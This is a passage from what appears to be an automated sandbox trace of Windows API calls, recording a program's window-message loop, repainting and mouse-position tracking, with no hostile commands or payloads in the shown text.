wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.356] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.356] GetCurrentProcessId () returned 0x8d0 [0257.356] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.356] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.356] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0257.356] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0257.356] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0257.356] IsIconic (hWnd=0x70042) returned 0 [0257.357] IsIconic (hWnd=0x70042) returned 0 [0257.357] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.357] FillRect (hDC=0x2e010796, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.357] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x2e010796, lParam=0x4) returned 0x0 [0257.357] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x2e010796, lParam=0x40050) returned 0xf100188 [0257.357] GetSysColor (nIndex=8) returned 0x0 [0257.357] SetTextColor (hdc=0x2e010796, color=0x0) returned 0x0 [0257.357] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.357] SetBkColor (hdc=0x2e010796, color=0xf0f0f0) returned 0xffffff [0257.357] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.357] GetCurrentProcessId () returned 0x8d0 [0257.357] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.357] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.357] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.357] GetCurrentProcessId () returned 0x8d0 [0257.357] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.357] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.358] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0257.358] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0257.358] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0257.358] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.359] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.359] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.359] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.359] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=799, y=477)) returned 1 [0257.359] WindowFromPoint (Point=0x31d) returned 0xa0060 [0257.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dc031d) returned 0x1 [0257.359] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.359] GetCurrentProcessId () returned 0x8d0 [0257.359] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.359] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.359] GetCapture () returned 0x0 [0257.359] WaitMessage () returned 1 [0257.362] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.362] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0315) returned 0x1 [0257.362] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=789, y=477)) returned 1 [0257.362] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.362] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.362] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0257.362] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.362] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.362] GetCapture () returned 0x0 [0257.362] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.362] WindowFromPoint (Point=0x315) returned 0xa0060 [0257.362] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0315) returned 0x1 [0257.362] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.362] GetCurrentProcessId () returned 0x8d0 [0257.362] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.363] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.363] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60004) returned 0x0 [0257.363] GetKeyState (nVirtKey=18) returned 0 [0257.363] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.363] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=789, y=477)) returned 1 [0257.363] WindowFromPoint (Point=0x314) returned 0xa0060 [0257.363] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1e00314) returned 0x1 [0257.363] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.363] GetCurrentProcessId () returned 0x8d0 [0257.363] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.363] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.363] GetCapture () returned 0x0 [0257.363] WaitMessage () returned 1 [0257.412] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.412] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd030b) returned 0x1 [0257.412] GetCursorPos (in: lpPoint=0x18fb3c | out: lpPoint=0x18fb3c*(x=779, y=477)) returned 1 [0257.412] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fb24 | out: lpPoint=0x18fb24) returned 1 [0257.412] PtInRect (lprc=0x18fb18, pt=0xc8) returned 0 [0257.412] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x70042, lParam=0x2000001) returned 0x0 [0257.412] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.412] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.412] GetCapture () returned 0x0 [0257.412] PtInRect (lprc=0x18fbec, pt=0xc8) returned 0 [0257.412] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fbe0 | out: lpPoint=0x18fbe0) returned 1 [0257.412] WindowFromPoint (Point=0x30b) returned 0x70042 [0257.412] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd030b) returned 0x1 [0257.413] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fbc0 | out: lpdwProcessId=0x18fbc0) returned 0x8cc [0257.413] GetCurrentProcessId () returned 0x8d0 [0257.413] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0257.413] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fbc4 | out: lpPoint=0x18fbc4) returned 1 [0257.413] PtInRect (lprc=0x18fbb8, pt=0xc8) returned 0 [0257.413] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x200, wParam=0x0, lParam=0x6300d0) returned 0x0 [0257.413] GetKeyState (nVirtKey=18) returned 0 [0257.413] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.413] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.413] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.413] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0257.413] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f818 | out: lpdwProcessId=0x18f818) returned 0x8cc [0257.413] GetCurrentProcessId () returned 0x8d0 [0257.413] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.413] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18fa88) returned 0x0 [0257.414] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.414] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.414] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.414] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.414] GetClientRect (in: hWnd=0xa0060, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0257.414] FillRect (hDC=0x2a010b57, lprc=0x18f778, hbr=0xf100188) returned 1 [0257.414] IsIconic (hWnd=0x70042) returned 0 [0257.414] IsIconic (hWnd=0x70042) returned 0 [0257.414] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.414] FillRect (hDC=0x3c01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.414] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3c01069b, lParam=0x4) returned 0x0 [0257.415] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x3c01069b, lParam=0xa0060) returned 0xf100188 [0257.415] GetSysColor (nIndex=8) returned 0x0 [0257.415] SetTextColor (hdc=0x3c01069b, color=0x0) returned 0x0 [0257.415] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.415] SetBkColor (hdc=0x3c01069b, color=0xf0f0f0) returned 0xf0f0f0 [0257.415] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.415] GetCurrentProcessId () returned 0x8d0 [0257.415] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.415] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.415] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.415] GetCurrentProcessId () returned 0x8d0 [0257.415] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0257.415] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0257.415] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0257.416] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0257.416] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0257.417] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.417] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.417] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.417] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.417] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.417] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=779, y=477)) returned 1 [0257.417] WindowFromPoint (Point=0x30b) returned 0x70042 [0257.417] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd030b) returned 0x1 [0257.417] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.417] GetCurrentProcessId () returned 0x8d0 [0257.417] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0257.417] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.418] PtInRect (lprc=0x18fd80, pt=0xc8) returned 0 [0257.418] GetCapture () returned 0x0 [0257.418] WaitMessage () returned 1 [0257.421] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.421] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd0301) returned 0x1 [0257.421] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=769, y=477)) returned 1 [0257.421] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.421] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.421] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.421] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.421] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.421] GetCapture () returned 0x0 [0257.421] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.421] WindowFromPoint (Point=0x301) returned 0x40050 [0257.421] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd0301) returned 0x1 [0257.422] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.422] GetCurrentProcessId () returned 0x8d0 [0257.422] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.422] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.422] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0x60041) returned 0x0 [0257.422] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f808 | out: lpdwProcessId=0x18f808) returned 0x8cc [0257.422] GetCurrentProcessId () returned 0x8d0 [0257.422] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.422] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18fa78) returned 0x0 [0257.422] GetKeyState (nVirtKey=18) returned 0 [0257.422] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.422] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.422] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.422] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.422] GetClientRect (in: hWnd=0x40050, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0257.422] FillRect (hDC=0x1f01019b, lprc=0x18f778, hbr=0xf100188) returned 1 [0257.423] IsIconic (hWnd=0x70042) returned 0 [0257.423] IsIconic (hWnd=0x70042) returned 0 [0257.423] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.423] FillRect (hDC=0x2e010796, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.423] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x2e010796, lParam=0x4) returned 0x0 [0257.423] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x2e010796, lParam=0x40050) returned 0xf100188 [0257.423] GetSysColor (nIndex=8) returned 0x0 [0257.423] SetTextColor (hdc=0x2e010796, color=0x0) returned 0x0 [0257.423] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.423] SetBkColor (hdc=0x2e010796, color=0xf0f0f0) returned 0xf0f0f0 [0257.423] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.423] GetCurrentProcessId () returned 0x8d0 [0257.423] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.424] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.424] GetCurrentProcessId () returned 0x8d0 [0257.424] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0257.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0257.424] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0257.425] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.425] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=769, y=477)) returned 1 [0257.425] WindowFromPoint (Point=0x304) returned 0x40050 [0257.425] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd0304) returned 0x1 [0257.425] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.425] GetCurrentProcessId () returned 0x8d0 [0257.425] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.425] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.425] GetCapture () returned 0x0 [0257.425] WaitMessage () returned 1 [0257.448] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.448] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f7) returned 0x1 [0257.448] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=759, y=477)) returned 1 [0257.448] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.448] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.448] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.448] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.448] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.448] GetCapture () returned 0x0 [0257.448] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.448] WindowFromPoint (Point=0x2f7) returned 0x40050 [0257.448] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f7) returned 0x1 [0257.448] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.448] GetCurrentProcessId () returned 0x8d0 [0257.448] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.448] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.448] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0x60037) returned 0x0 [0257.448] GetKeyState (nVirtKey=18) returned 0 [0257.449] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.449] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=759, y=477)) returned 1 [0257.449] WindowFromPoint (Point=0x2f7) returned 0x40050 [0257.449] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f7) returned 0x1 [0257.449] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.449] GetCurrentProcessId () returned 0x8d0 [0257.449] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.449] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.449] GetCapture () returned 0x0 [0257.449] WaitMessage () returned 1 [0257.468] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.468] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0257.468] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=754, y=477)) returned 1 [0257.468] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0257.468] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.468] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0257.468] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.468] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.468] GetCapture () returned 0x0 [0257.468] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0257.468] WindowFromPoint (Point=0x2f2) returned 0x40050 [0257.468] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0257.469] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0257.469] GetCurrentProcessId () returned 0x8d0 [0257.469] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.469] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0257.469] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0x60032) returned 0x0 [0257.469] GetKeyState (nVirtKey=18) returned 0 [0257.469] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.469] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0257.469] WindowFromPoint (Point=0x2f2) returned 0x40050 [0257.469] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1da02f2) returned 0x1 [0257.469] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.469] GetCurrentProcessId () returned 0x8d0 [0257.469] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.469] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.469] GetCapture () returned 0x0 [0257.469] WaitMessage () returned 1 [0257.478] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.478] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.478] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.478] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.479] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.479] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.479] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.479] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.479] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.479] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0257.479] WindowFromPoint (Point=0x2f2) returned 0x40050 [0257.479] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0257.479] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0257.479] GetCurrentProcessId () returned 0x8d0 [0257.479] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.479] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0257.480] GetCapture () returned 0x0 [0257.480] WaitMessage () returned 1 [0257.512] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 